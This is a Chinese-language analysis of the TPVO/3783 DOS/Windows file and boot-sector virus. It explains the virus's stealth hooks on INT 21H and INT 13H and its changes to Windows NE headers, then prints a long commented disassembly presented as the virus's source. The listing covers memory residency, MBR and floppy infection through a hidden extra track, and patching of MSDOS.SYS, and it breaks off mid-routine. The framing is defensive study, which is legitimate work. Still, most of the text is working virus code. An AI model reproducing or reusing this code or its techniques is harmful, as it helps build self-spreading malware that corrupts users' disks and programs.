Tpvo/3783 病毒的分析和防治

病毒介绍:

    TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒,它的独到之处是可以传


染 WINDOWS 文件,使病毒可以在  WINDOWS  执行时驻留内存。 


    该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序,包括.EXE.COM.OVL


.386 等等文件,不传染带覆盖的文件,程序被传染后长度增加 3783 字节, 文件日期被


加上 100 年作为传染标记。


    该病毒驻留内存后,用 DIR 命令看不出文件长度的变化,用 INT 13H  读出的磁


盘引导记录是正常的,而不是带毒的引导记录,用应用程序读出的带毒文件也都是正常的,


但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX  七个程序读出的文件却是带


毒的,所以被这些压缩程序压进文件包或用 TELIX  通过调制解调器传到其他地方的文件


是带毒的,由此可见该病毒在隐藏和传播上的用心良苦。


    该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区,传染软盘引导区时隐


藏于新格式化的第 81 个磁道,传染文件时附在文件尾部,病毒本身不加密。


当带毒的 WINDOWS 系统运行时,根目录中的虚拟内存文件 386SPART.PAR 属性会


变成普通属性,用 DIR 命令可以列出。

病毒分析:

1. 驻留内存及截取中断





    该病毒采用修改内存控制块的方法来驻留内存,如果 UMB 存在,病毒会驻留在  UMB


中,该病毒驻留内存后截取 INT 21H 和 INT 13H 中断,来完成对文件和引导区的传染,


在截取 INT 21H 时,该病毒采取了与众不同的方法。下面是 INT 21H 内部片断,在中断


程序完成了初始化后,将 AH 中的功能号放在 BX 中再乘 2,再用查表的办法得到相应子


程序的地址,然后用近调用来执行相应子程序,具体见下:


     ...


     FDC8:4198 8ADC        MOV  BL,AH           ;AH 为子功能号


     FDC8:419A D1E3        SHL  BX,1            ;放于 BX 中再乘 2


     ...


     FDC8:41EA 2E8B9F9E3E  MOV  BX,CS:[BX+3E9E] ;3E9E 为各功能地址表的基地址


     FDC8:41EF 36871EEA05  XCHG BX,SS:[05EA]    ;调用地址在 05EA 中


     FDC8:41F4 368E1EEC05  MOV  DS,SS:[05EC]


     FDC8:41F9 36FF16EA05  CALL SS:[05EA]       ;调用相应功能的子程序


     ...


病毒在驻留时先截取 INT 2AH,在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆栈


段时,表示中断由 INT 21H 发出,这时由中断返回地址得到 MSDOS.SYS 程序段的段地址,


再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码,在完成


修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在 INT 21H 的第一百


多句以后,当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中, 所以该病毒的截取


手段有很大的欺骗性,不但能骗过几乎所有内存监视程序,而且即使用手工反汇编 INT


 21H中断程序都不一定能觉察到异常之处。


    在截取 INT 13H 时,病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到 DOS 内


部设备驱动程序使用的原始 INT 13H 地址,然后在  BIOS  中随机寻找一个中断号大于


 E0H 号的INT XX代码,将这个中断向量指向病毒的 INT 13H服务程序,然后将 DOS 保存


的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令,使得在不同的计算机中指向病毒


程序的中断向量号都不相同。





2. 传染及其他部分





    病毒截取 INT 13H 来传染磁盘的引导区,在进行普通的读写功能时,病毒并不传染,


所以磁盘读写速度并不明显减慢,只有在对磁盘的引导区进行读写时,病毒才进行传染。


传染硬盘主引导区时,病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇区中,


原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道,病毒在传染软


盘引导记录时,先格式化出一个第 81 磁道,再将自身隐藏于第 81 磁道 1 扇区开始的


 8个扇区中,原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引导记录时, 病


毒将原引导记录读出送回。


    病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能,在 INT 21H 的 11H、


12H、4EH、4FH 匹配文件寻找功能中,病毒返回正确的文件长度和时间,在 57H  读写文


件时间功能中,病毒返回正确的文件时间,在 3FH 读文件功能中, 如果读到文件被修改


的部分,病毒将返回正确的内容,在 40H 写文件功能中,如果写已被传染的文件, 病毒


将文件复原,到以后关闭文件时重新传染。结果在应用软件看来,带毒文件没有任何异常


之处。


    当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、56H 文件改


名、4BH 执行文件时,病毒对文件进行传染,传染后病毒附于文件尾部,文件开始指针被


指向病毒入口处。对于.COM 文件,病毒将文件第一句指令改为 JMP XXXX  跳转到病毒入


口处,对于普通.EXE 文件,病毒将文件入口指针指向病毒入口处, 将堆栈指向病毒尾部


200H处。


    下面详细分析病毒对 WINDOWS 可执行文件的修改,由于 WINDOWS 可执行文件的资料


很少见,这里先简单介绍一下 WINDOWS 文件的结构:WINDOWS 文件由 DOS  执行部分和


 WINDOWS 执行部分组成,DOS 部分只是简单的打印一句提示信息即退出,WINDOWS  部分


以覆盖的方式位于文件后部。文件报头分两部分,第一部分为普通的.EXE 文件报头, 第


二部分为 "NE" 新格式可执行报头,有关部分说明如下:


    普通 .EXE 文件报头  18H  字      重分配表偏移( WINDOWS 文件必须大于 0040H)


                        3CH  双字    "NE" 可执行报头在程序中的偏移


    "NE" 可执行报头     00H  2 字节  "NE" 符号


     (长 40H 字节)      14H  字      程序入口 IP


                        16H  字      程序入口段的段地址记录号


                        18H  双字    程序初始 SS:SP


                        1CH  字      段地址表中的记录数


                        22H  字      段地址表在程序中的偏移


                        32H  字节    段大小的计数单位 (移位值)


    程序中所有的段都由段地址表中的一个记录来描述,包括段在程序中的偏移、段的大


小、段的属性、段装入时要分配内存的大小,执行程序时,系统由入口段的记录号查段地


址表得出这个段在程序中的位置和大小,将代码装入内存,再由入口 IP开始执行。 段地


址表中每个记录占用 8 个字节,格式如下:


                        00H  字      本段在程序中的偏移 (乘以计数单位)


                        02H  字      本段的长度 (单位:字节)


                        04H  字      本段的属性


                        06H  字      要分配的容量 (单位:字节)


    病毒增加了一个段地址表记录来描述病毒代码段属性,在 WINDOWS 文件中, 段地址


表一般紧接着 "NE" 报头存放,段地址表后面也紧接着其他数据,中间没有多余字节,所


以病毒将整个 "NE" 报头和段地址表前移了 8 字节,然后在空出的 8 字节中写下一个新


的段地址表记录, 再将程序入口段记录号改到指向这个新的记录, 具体改动的数据有:


003CH处的 "NE" 报头偏移减 8,"NE" 报头中 16H 的入口段记录号改为病毒段,1CH  的


段地址表记录数加 1,另外将 04H、24H、26H、28H、2AH 中其他相关表的偏移加 8。





2. 病毒源码:





;====================================================================


;	DOS 可执行文件入口


;====================================================================


F6C8:0000 0E            PUSH    CS


F6C8:0001 1F            POP     DS


F6C8:0002 E80000        CALL    0005		;重定位


F6C8:0005 5E            POP     SI


F6C8:0006 83EE05        SUB     SI,+05


F6C8:0009 56            PUSH    SI


F6C8:000A 06            PUSH    ES


F6C8:000B B87F18        MOV     AX,187F		;检测内存驻留


F6C8:000E BB5344        MOV     BX,4453


F6C8:0011 CD21          INT     21      (DOS)


F6C8:0013 81FBA187      CMP     BX,87A1


F6C8:0017 753A          JNZ     0053
F6C8:0019 07            POP     ES		;已驻留


F6C8:001A 5E            POP     SI		;执行原程序


F6C8:001B 0E            PUSH    CS


F6C8:001C 1F            POP     DS


F6C8:001D 8B84870E      MOV     AX,[SI+0E87]		


F6C8:0021 E8880B        CALL    0BAC


F6C8:0024 740D          JZ      0033		;.EXE 文件转 0033


F6C8:0026 48            DEC     AX


F6C8:0027 BF0001        MOV     DI,0100		;恢复 .COM 文件头 3 字节


F6C8:002A 57            PUSH    DI


F6C8:002B FC            CLD     


F6C8:002C AB            STOSW   


F6C8:002D 8A84890E      MOV     AL,[SI+0E89]


F6C8:0031 AA            STOSB   


F6C8:0032 C3            RET     		;执行原 .COM 文件
F6C8:0033 8CC0          MOV     AX,ES		;重定位 .EXE 文件


F6C8:0035 051000        ADD     AX,0010


F6C8:0038 0384950E      ADD     AX,[SI+0E95]


F6C8:003C 8ED0          MOV     SS,AX


F6C8:003E 8BA4970E      MOV     SP,[SI+0E97]


F6C8:0042 8CC0          MOV     AX,ES


F6C8:0044 051000        ADD     AX,0010


F6C8:0047 03849D0E      ADD     AX,[SI+0E9D]


F6C8:004B 50            PUSH    AX


F6C8:004C FFB49B0E      PUSH    WORD PTR [SI+0E9B]


F6C8:0050 06            PUSH    ES


F6C8:0051 1F            POP     DS


F6C8:0052 CB            RETF    		;执行原 .EXE 文件
;=======================================================================


;驻留内存初始化部分 (调用: 0017)


F6C8:0053 8CC0          MOV     AX,ES


F6C8:0055 48            DEC     AX		;取 MCB 


F6C8:0056 E81E00        CALL    0077		;取最后一块MCB地址


F6C8:0059 E83200        CALL    008E		;驻留内存


F6C8:005C 72BB          JB      0019


F6C8:005E 8ED9          MOV     DS,CX		;截取 INT 2AH


F6C8:0060 B85103        MOV     AX,0351		;中断到 CS:0351


F6C8:0063 8706A800      XCHG    AX,[00A8]	;由 INT 2AH 继续引导


F6C8:0067 26            ES:


F6C8:0068 A33A04        MOV     [043A],AX	;(转 0351)


F6C8:006B 8CC0          MOV     AX,ES


F6C8:006D 8706AA00      XCHG    AX,[00AA]


F6C8:0071 26            ES:


F6C8:0072 A33C04        MOV     [043C],AX


F6C8:0075 EBA2          JMP     0019		;执行原程序
;========================================================================


;找最后一块 MCB 地址


;返回 BX = 最后一块MCB段地址


;调用: 0056


F6C8:0077 33FF          XOR     DI,DI


F6C8:0079 8ED8          MOV     DS,AX


F6C8:007B 803D4D        CMP     BYTE PTR [DI],4D


F6C8:007E 7405          JZ      0085		;非最后一块转 0085


F6C8:0080 803D5A        CMP     BYTE PTR [DI],5A;最后一块返回


F6C8:0083 7508          JNZ     008D


F6C8:0085 8BD8          MOV     BX,AX


F6C8:0087 034503        ADD     AX,[DI+03]


F6C8:008A 40            INC     AX


F6C8:008B EBEA          JMP     0077		;AX 为下一块 MCB 地址


F6C8:008D C3            RET     
;=========================================================================


;驻留内存子程序


;调用: 0059


F6C8:008E 8EDB          MOV     DS,BX


F6C8:0090 8B4503        MOV     AX,[DI+03]


F6C8:0093 2D3801        SUB     AX,0138		;截取内存 1380H 字节


F6C8:0096 720E          JB      00A6


F6C8:0098 894503        MOV     [DI+03],AX


F6C8:009B 03D8          ADD     BX,AX


F6C8:009D 43            INC     BX


F6C8:009E 8EC3          MOV     ES,BX


F6C8:00A0 B9C70E        MOV     CX,0EC7		;移动病毒 0EC7 字节


F6C8:00A3 F3            REPZ			;到内存中


F6C8:00A4 2E            CS:


F6C8:00A5 A4            MOVSB   


F6C8:00A6 C3            RET     
;=====================================================================


;	引导区代码部分


;=====================================================================


F6C8:00A7 FA            CLI     


F6C8:00A8 33DB          XOR     BX,BX


F6C8:00AA 8ED3          MOV     SS,BX


F6C8:00AC BC007C        MOV     SP,7C00


F6C8:00AF 8EC4          MOV     ES,SP		;暂时将病毒读到 7C00:0000


F6C8:00B1 B80802        MOV     AX,0208


F6C8:00B4 B90150        MOV     CX,5001		;硬盘为 0005


F6C8:00B7 BA0000        MOV     DX,0000		;软盘为 5001


F6C8:00BA CD13          INT     13      (BIOS Disk)


F6C8:00BC 7200          JB      00BE


F6C8:00BE 06            PUSH    ES


F6C8:00BF 68C300        PUSH    00C3		;转高端继续执行


F6C8:00C2 CB            RETF    


F6C8:00C3 E82701        CALL    01ED		;随机生成 INT 13H 地址


F6C8:00C6 830EA800FF    OR      WORD PTR [00A8],FFFF	;????


F6C8:00CB 871E4C00      XCHG    BX,[004C]


F6C8:00CF 2E            CS:


F6C8:00D0 891EF800      MOV     [00F8],BX


F6C8:00D4 8CC0          MOV     AX,ES


F6C8:00D6 87064E00      XCHG    AX,[004E]	;截取 INT 13H


F6C8:00DA 0E            PUSH    CS		;到 CS:00FC


F6C8:00DB 1F            POP     DS


F6C8:00DC A3FA00        MOV     [00FA],AX	;保留原 INT 13H 到 00FA


F6C8:00DF C606FF003C    MOV     BYTE PTR [00FF],3C


F6C8:00E4 C60604013C    MOV     BYTE PTR [0104],3C


F6C8:00E9 C6065805E8    MOV     BYTE PTR [0558],E8


F6C8:00EE CD19          INT     19      (BIOS Bootstrap)
;========================================================================


;病毒调用 INT 13H


F6C8:00F0 9C            PUSHF   


F6C8:00F1 FA            CLI     


F6C8:00F2 0E            PUSH    CS


F6C8:00F3 E80100        CALL    00F7


F6C8:00F6 C3            RET     
F6C8:00F7 EA59EC00F0    JMP     F000:EC59
;=========================================================================


;	新 INT 13H 代码部分


;=========================================================================


F6C8:00FC 83C406        ADD     SP,+06


F6C8:00FF EB3D          JMP     013E	===>	;本句代码当病毒从 BOOT 区


F6C8:0101 60            PUSHA   		;引入时为 CMP AL,3D


F6C8:0102 1E            PUSH    DS


F6C8:0103 06            PUSH    ES


F6C8:0104 EB23          JMP     0129	===>	;本句代码当病毒从 BOOT 区


F6C8:0106 6A00          PUSH    0000		;引入时为 CMP AL,23


F6C8:0108 1F            POP     DS


F6C8:0109 C41EA800      LES     BX,[00A8]


F6C8:010D 26            ES:


F6C8:010E 803FCF        CMP     BYTE PTR [BX],CF


F6C8:0111 7514          JNZ     0127		;INT 2AH 不是 IRET


F6C8:0113 2E            CS:			;转 0127 (013B) 执行


F6C8:0114 891E3A04      MOV     [043A],BX


F6C8:0118 2E            CS:


F6C8:0119 8C063C04      MOV     [043C],ES	;设置 BOOT 引入 INT 2A


F6C8:011D C706A8008603  MOV     WORD PTR [00A8],0386	;到 CS:0386


F6C8:0123 8C0EAA00      MOV     [00AA],CS


F6C8:0127 EB12          JMP     013B
;===========================================================================


F6C8:0129 B80312        MOV     AX,1203


F6C8:012C CD2F          INT     2F      (Multiplex)


F6C8:012E 8CD8          MOV     AX,DS


F6C8:0130 3D1001        CMP     AX,0110	  ===>	;本数据由 039B 填入


F6C8:0133 7406          JZ      013B		;为初始化时 MSDOS.SYS 数据段


F6C8:0135 2E            CS:


F6C8:0136 C60604013C    MOV     BYTE PTR [0104],3C


F6C8:013B 07            POP     ES


F6C8:013C 1F            POP     DS


F6C8:013D 61            POPA    
;============================================================================


;	新 INT 13H 代码部分


F6C8:013E 80FC02        CMP     AH,02


F6C8:0141 72B4          JB      00F7


F6C8:0143 80FC03        CMP     AH,03


F6C8:0146 77AF          JA      00F7


F6C8:0148 83F901        CMP     CX,+01


F6C8:014B 75AA          JNZ     00F7


F6C8:014D 0AF6          OR      DH,DH


F6C8:014F 75A6          JNZ     00F7


F6C8:0151 80FA80        CMP     DL,80		;不是读引导区


F6C8:0154 77A1          JA      00F7		;转原 INT 13H
F6C8:0156 E897FF        CALL    00F0		;读出引导区


F6C8:0159 7235          JB      0190


F6C8:015B 60            PUSHA   


F6C8:015C 1E            PUSH    DS


F6C8:015D 06            PUSH    ES


F6C8:015E 9C            PUSHF   


F6C8:015F 06            PUSH    ES


F6C8:0160 8BF3          MOV     SI,BX


F6C8:0162 06            PUSH    ES


F6C8:0163 1F            POP     DS


F6C8:0164 BF7711        MOV     DI,1177


F6C8:0167 0E            PUSH    CS


F6C8:0168 07            POP     ES


F6C8:0169 B90001        MOV     CX,0100		;保存原引导区到


F6C8:016C F3            REPZ			;CS:1177


F6C8:016D A5            MOVSW   


F6C8:016E 0E            PUSH    CS


F6C8:016F 1F            POP     DS


F6C8:0170 BF7711        MOV     DI,1177


F6C8:0173 817D468EC4    CMP     WORD PTR [DI+46],C48E


F6C8:0178 07            POP     ES


F6C8:0179 7518          JNZ     0193		;未感染转 0193


F6C8:017B B80102        MOV     AX,0201		;已感染则读出


F6C8:017E 8B4D4C        MOV     CX,[DI+4C]	;原引导区


F6C8:0181 8A7550        MOV     DH,[DI+50]


F6C8:0184 80C108        ADD     CL,08


F6C8:0187 9D            POPF    


F6C8:0188 E865FF        CALL    00F0


F6C8:018B 9C            PUSHF   


F6C8:018C 9D            POPF    


F6C8:018D 07            POP     ES


F6C8:018E 1F            POP     DS


F6C8:018F 61            POPA    


F6C8:0190 CA0200        RETF    0002
;=========================================================================


;病毒传染引导区代码部分


F6C8:0193 0E            PUSH    CS


F6C8:0194 07            POP     ES


F6C8:0195 B90500        MOV     CX,0005


F6C8:0198 0AD2          OR      DL,DL


F6C8:019A 7812          JS      01AE		;硬盘转 01AE


F6C8:019C B80A05        MOV     AX,050A		;传染软盘引导区部分


F6C8:019F B550          MOV     CH,50		;格式化第 50H 磁道


F6C8:01A1 32F6          XOR     DH,DH


F6C8:01A3 BB4D0E        MOV     BX,0E4D


F6C8:01A6 E847FF        CALL    00F0


F6C8:01A9 7240          JB      01EB


F6C8:01AB B90150        MOV     CX,5001


F6C8:01AE 890EB500      MOV     [00B5],CX


F6C8:01B2 52            PUSH    DX


F6C8:01B3 80E280        AND     DL,80


F6C8:01B6 8916B800      MOV     [00B8],DX


F6C8:01BA 5A            POP     DX


F6C8:01BB B80803        MOV     AX,0308		;写病毒到磁盘


F6C8:01BE 33DB          XOR     BX,BX


F6C8:01C0 E82DFF        CALL    00F0


F6C8:01C3 7226          JB      01EB


F6C8:01C5 B80103        MOV     AX,0301		;保存原引导区


F6C8:01C8 BB7711        MOV     BX,1177


F6C8:01CB 80C108        ADD     CL,08


F6C8:01CE E81FFF        CALL    00F0


F6C8:01D1 7218          JB      01EB


F6C8:01D3 C707EB3C      MOV     WORD PTR [BX],3CEB


F6C8:01D7 BEA700        MOV     SI,00A7


F6C8:01DA 8D7F3E        LEA     DI,[BX+3E]


F6C8:01DD B91C00        MOV     CX,001C


F6C8:01E0 F3            REPZ


F6C8:01E1 A4            MOVSB   


F6C8:01E2 B80103        MOV     AX,0301


F6C8:01E5 B90100        MOV     CX,0001


F6C8:01E8 E805FF        CALL    00F0		;写病毒到引导区


F6C8:01EB EB9F          JMP     018C		;返回调用处
;========================================================================


;随机生成一个 INT 13H 地址


;调用: 00C3 0369


;有二种方式 1.	在 BIOS 中找一个 > 80号的 INT XX 代码


;		将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码


;	    2.	在 0000:04FB 中写下 JMP 原 INT 13


;		再将 INT 13 指向 0000:04FB


F6C8:01ED 33F6          XOR     SI,SI


F6C8:01EF B800F0        MOV     AX,F000


F6C8:01F2 8ED8          MOV     DS,AX


F6C8:01F4 8EC0          MOV     ES,AX


F6C8:01F6 4E            DEC     SI


F6C8:01F7 741F          JZ      0218


F6C8:01F9 803CCD        CMP     BYTE PTR [SI],CD


F6C8:01FC 75F8          JNZ     01F6		;找一个 INT 代码


F6C8:01FE 3A4401        CMP     AL,[SI+01]


F6C8:0201 73F3          JNB     01F6


F6C8:0203 807C01E0      CMP     BYTE PTR [SI+01],E0


F6C8:0207 73ED          JNB     01F6		;小于 INT E0 继续找


F6C8:0209 864401        XCHG    AL,[SI+01]


F6C8:020C 864401        XCHG    AL,[SI+01]


F6C8:020F 3A4401        CMP     AL,[SI+01]	;保存 INT 号于 AL 中


F6C8:0212 75E2          JNZ     01F6		;不在 BIOS 中继续找


F6C8:0214 8BDE          MOV     BX,SI		;保存地址于 BX 中


F6C8:0216 EBDE          JMP     01F6
F6C8:0218 8EDE          MOV     DS,SI


F6C8:021A 3C80          CMP     AL,80		;在 BIOS 中未找到


F6C8:021C 720C          JB      022A		;INT ?? 代码转 022A


F6C8:021E 2E            CS:


F6C8:021F C606FE0006    MOV     BYTE PTR [00FE],06	;ADD SP,6


F6C8:0224 B404          MOV     AH,04		;丢弃 INT XX 之返回地址


F6C8:0226 F6E4          MUL     AH		;AX 为中断向量表中地址


F6C8:0228 EB14          JMP     023E
F6C8:022A 2E            CS:


F6C8:022B C606FE0000    MOV     BYTE PTR [00FE],00


F6C8:0230 6A00          PUSH    0000


F6C8:0232 1F            POP     DS		;在 0000:04FB 中写下


F6C8:0233 1E            PUSH    DS		;代码 JMP CS:00FC


F6C8:0234 07            POP     ES


F6C8:0235 BBFB04        MOV     BX,04FB


F6C8:0238 C607EA        MOV     BYTE PTR [BX],EA


F6C8:023B B8FC04        MOV     AX,04FC
F6C8:023E 2E            CS:


F6C8:023F A34502        MOV     [0245],AX


F6C8:0242 EB00          JMP     0244


F6C8:0244 BE0003        MOV     SI,0300		;值由上决定


F6C8:0247 C704FC00      MOV     WORD PTR [SI],00FC


F6C8:024B 8C4C02        MOV     [SI+02],CS	;设新 INT 13H 向量


F6C8:024E C3            RET     		;到 CS:00FC
;==========================================================================


F6C8:024F 50            PUSH    AX		;不详


F6C8:0250 51            PUSH    CX


F6C8:0251 52            PUSH    DX


F6C8:0252 B91000        MOV     CX,0010


F6C8:0255 F7E1          MUL     CX


F6C8:0257 8BCA          MOV     CX,DX


F6C8:0259 92            XCHG    AX,DX


F6C8:025A B80700        MOV     AX,0007


F6C8:025D CD31          INT     31      (DPMI API)


F6C8:025F 5A            POP     DX


F6C8:0260 59            POP     CX


F6C8:0261 58            POP     AX


F6C8:0262 C3            RET     
;==========================================================================


;	WINDOWS 文件开始执行入口


;==========================================================================


F6C8:0263 60            PUSHA


F6C8:0264 1E            PUSH    DS


F6C8:0265 06            PUSH    ES


F6C8:0266 E80000        CALL    0269		;重定位


F6C8:0269 5E            POP     SI


F6C8:026A 81EE6902      SUB     SI,0269


F6C8:026E B87F18        MOV     AX,187F		;内存驻留校验


F6C8:0271 BB5344        MOV     BX,4453


F6C8:0274 CD21          INT     21      (DOS)


F6C8:0276 81FBA187      CMP     BX,87A1


F6C8:027A 7503          JNZ     027F		;已驻留转 0328


F6C8:027C E9A900        JMP     0328


F6C8:027F 33C0          XOR     AX,AX		;


F6C8:0281 B90100        MOV     CX,0001


F6C8:0284 CD31          INT     31      (DPMI API)


F6C8:0286 93            XCHG    AX,BX


F6C8:0287 B80800        MOV     AX,0008


F6C8:028A CD31          INT     31      (DPMI API)


F6C8:028C 40            INC     AX


F6C8:028D B1F2          MOV     CL,F2


F6C8:028F CD31          INT     31      (DPMI API)


F6C8:0291 8EDB          MOV     DS,BX


F6C8:0293 B452          MOV     AH,52


F6C8:0295 CD21          INT     21      (DOS)


F6C8:0297 26            ES:


F6C8:0298 8B47FE        MOV     AX,[BX-02]


F6C8:029B 33FF          XOR     DI,DI


F6C8:029D 33D2          XOR     DX,DX


F6C8:029F 8CDB          MOV     BX,DS


F6C8:02A1 E8ABFF        CALL    024F


F6C8:02A4 803D4D        CMP     BYTE PTR [DI],4D


F6C8:02A7 7405          JZ      02AE


F6C8:02A9 803D5A        CMP     BYTE PTR [DI],5A


F6C8:02AC 7521          JNZ     02CF


F6C8:02AE 8BE8          MOV     BP,AX


F6C8:02B0 8B4508        MOV     AX,[DI+08]


F6C8:02B3 0D2020        OR      AX,2020


F6C8:02B6 3D7769        CMP     AX,6977


F6C8:02B9 750C          JNZ     02C7


F6C8:02BB 8B450A        MOV     AX,[DI+0A]


F6C8:02BE 0C20          OR      AL,20


F6C8:02C0 3D6E00        CMP     AX,006E


F6C8:02C3 7502          JNZ     02C7


F6C8:02C5 8BD5          MOV     DX,BP


F6C8:02C7 8BC5          MOV     AX,BP


F6C8:02C9 034503        ADD     AX,[DI+03]


F6C8:02CC 40            INC     AX


F6C8:02CD EBD0          JMP     029F


F6C8:02CF 95            XCHG    AX,BP


F6C8:02D0 E87CFF        CALL    024F


F6C8:02D3 816D033801    SUB     WORD PTR [DI+03],0138


F6C8:02D8 034503        ADD     AX,[DI+03]


F6C8:02DB 40            INC     AX


F6C8:02DC E870FF        CALL    024F


F6C8:02DF 8EC3          MOV     ES,BX


F6C8:02E1 95            XCHG    AX,BP


F6C8:02E2 B80A00        MOV     AX,000A


F6C8:02E5 8CCB          MOV     BX,CS


F6C8:02E7 CD31          INT     31      (DPMI API)


F6C8:02E9 8ED8          MOV     DS,AX


F6C8:02EB B97D0E        MOV     CX,0E7D


F6C8:02EE F3            REPZ


F6C8:02EF A4            MOVSB   


F6C8:02F0 8CDB          MOV     BX,DS


F6C8:02F2 91            XCHG    AX,CX


F6C8:02F3 E859FF        CALL    024F


F6C8:02F6 B85103        MOV     AX,0351


F6C8:02F9 8706A800      XCHG    AX,[00A8]


F6C8:02FD 26            ES:


F6C8:02FE A33A04        MOV     [043A],AX


F6C8:0301 55            PUSH    BP


F6C8:0302 872EAA00      XCHG    BP,[00AA]


F6C8:0306 26            ES:


F6C8:0307 892E3C04      MOV     [043C],BP


F6C8:030B 5D            POP     BP


F6C8:030C 92            XCHG    AX,DX


F6C8:030D 0BC0          OR      AX,AX


F6C8:030F 7417          JZ      0328


F6C8:0311 E83BFF        CALL    024F


F6C8:0314 B83003        MOV     AX,0330


F6C8:0317 87061A00      XCHG    AX,[001A]


F6C8:031B 26            ES:


F6C8:031C A34D03        MOV     [034D],AX


F6C8:031F 872E1C00      XCHG    BP,[001C]


F6C8:0323 26            ES:


F6C8:0324 892E4F03      MOV     [034F],BP


F6C8:0328 07            POP     ES


F6C8:0329 1F            POP     DS


F6C8:032A 61            POPA    


F6C8:032B EA0000FFFF    JMP     FFFF:0000
F6C8:0330 50            PUSH    AX


F6C8:0331 1E            PUSH    DS


F6C8:0332 6A00          PUSH    0000


F6C8:0334 1F            POP     DS


F6C8:0335 B88603        MOV     AX,0386


F6C8:0338 8706A800      XCHG    AX,[00A8]


F6C8:033C 2E            CS:


F6C8:033D A33A04        MOV     [043A],AX


F6C8:0340 8CC8          MOV     AX,CS


F6C8:0342 8706AA00      XCHG    AX,[00AA]


F6C8:0346 2E            CS:


F6C8:0347 A33C04        MOV     [043C],AX


F6C8:034A 1F            POP     DS


F6C8:034B 58            POP     AX


F6C8:034C EAB1022805    JMP     0528:02B1
;==========================================================================


;	文件驻留引入 INT 2A 代码部分


;	初始化时使用


;==========================================================================


F6C8:0351 60            PUSHA   


F6C8:0352 1E            PUSH    DS


F6C8:0353 06            PUSH    ES


F6C8:0354 2E            CS:


F6C8:0355 C606FF00EB    MOV     BYTE PTR [00FF],EB	;INT 13H


F6C8:035A 2E            CS:				;不检测


F6C8:035B C60658053D    MOV     BYTE PTR [0558],3D	;INT 21H 不检测


F6C8:0360 B80016        MOV     AX,1600		;WINDOWS 增强模式检验


F6C8:0363 CD2F          INT     2F


F6C8:0365 0AC0          OR      AL,AL


F6C8:0367 7505          JNZ     036E		;WINDOWS 运行转 036E


F6C8:0369 E881FE        CALL    01ED		;随机生成 INT 13H 地址


F6C8:036C EB03          JMP     0371


F6C8:036E E8B9FE        CALL    022A		;随机生成 INT 13H 地址


F6C8:0371 B80013        MOV     AX,1300		;取得原 INT 13H 地址


F6C8:0374 8BD3          MOV     DX,BX		;并设置新 INT 13H 地址


F6C8:0376 06            PUSH    ES


F6C8:0377 1F            POP     DS		;INT 2F 之 1300 功能


F6C8:0378 CD2F          INT     2F		;入口  ES:BX 及 DS:DX


F6C8:037A 2E            CS:			;为新 INT 13H 地址


F6C8:037B 8916F800      MOV     [00F8],DX	;出口  ES:BX 及 DS:DX


F6C8:037F 2E            CS:			;为旧 INT 13H 地址


F6C8:0380 8C1EFA00      MOV     [00FA],DS


F6C8:0384 EB03          JMP     0389		;转截取 INT 21H (0389)
;==========================================================================


;BOOT 引导驻留引入 INT 2A 入口


F6C8:0386 60            PUSHA   


F6C8:0387 1E            PUSH    DS


F6C8:0388 06            PUSH    ES
;==========================================================================


;截取 INT 21H 代码部分


F6C8:0389 B80312        MOV     AX,1203		;取 MSDOS.SYS 数据段地址


F6C8:038C CD2F          INT     2F		;返回段地址 = DS


F6C8:038E 8CD8          MOV     AX,DS


F6C8:0390 8CD6          MOV     SI,SS


F6C8:0392 2BF0          SUB     SI,AX


F6C8:0394 7403          JZ      0399		;在 MSDOS.SYS 中执行


F6C8:0396 E99D00        JMP     0436		;转 0399, 否则退出


F6C8:0399 0E            PUSH    CS


F6C8:039A 1F            POP     DS


F6C8:039B A33101        MOV     [0131],AX


F6C8:039E C606C00DEB    MOV     BYTE PTR [0DC0],EB


F6C8:03A3 C6060401EB    MOV     BYTE PTR [0104],EB


F6C8:03A8 C4063A04      LES     AX,[043A]


F6C8:03AC 8EDE          MOV     DS,SI


F6C8:03AE A3A800        MOV     [00A8],AX


F6C8:03B1 8C06AA00      MOV     [00AA],ES	;恢复原 INT 2A 中断向量
F6C8:03B5 8BEC          MOV     BP,SP


F6C8:03B7 8E5E16        MOV     DS,[BP+16]	;调用代码段


F6C8:03BA 83FE80        CMP     SI,-80		;为 INT 21 的代码段


F6C8:03BD 7777          JA      0436


F6C8:03BF AC            LODSB   


F6C8:03C0 3C2E          CMP     AL,2E		;找 2E 8B 9F xx xx


F6C8:03C2 75F6          JNZ     03BA		;即 MOV BX,CS:[BX+xxxx]


F6C8:03C4 AD            LODSW   


F6C8:03C5 3D8B9F        CMP     AX,9F8B


F6C8:03C8 75F0          JNZ     03BA


F6C8:03CA AD            LODSW   		;此地址为 INT 21 功能=>子程序


F6C8:03CB 2E            CS:			;转换表基址


F6C8:03CC A35111        MOV     [1151],AX	;保存地址于 1151
F6C8:03CF B93000        MOV     CX,0030


F6C8:03D2 4E            DEC     SI


F6C8:03D3 AD            LODSW   


F6C8:03D4 3D871E        CMP     AX,1E87		;找 87 1E (XCHG BX,SS:[xxxx])


F6C8:03D7 E0F9          LOOPNE  03D2


F6C8:03D9 E3DF          JCXZ    03BA


F6C8:03DB AD            LODSW   


F6C8:03DC 2E            CS:


F6C8:03DD A35311        MOV     [1153],AX	;调用 INT 21 子功能地址


F6C8:03E0 46            INC     SI		;找 36 FF 16 xx xx


F6C8:03E1 813C36FF      CMP     WORD PTR [SI],FF36


F6C8:03E5 E0F9          LOOPNE  03E0		;即 CALL SS:[xxxx]


F6C8:03E7 E3D1          JCXZ    03BA


F6C8:03E9 807C0216      CMP     BYTE PTR [SI+02],16


F6C8:03ED 75F1          JNZ     03E0


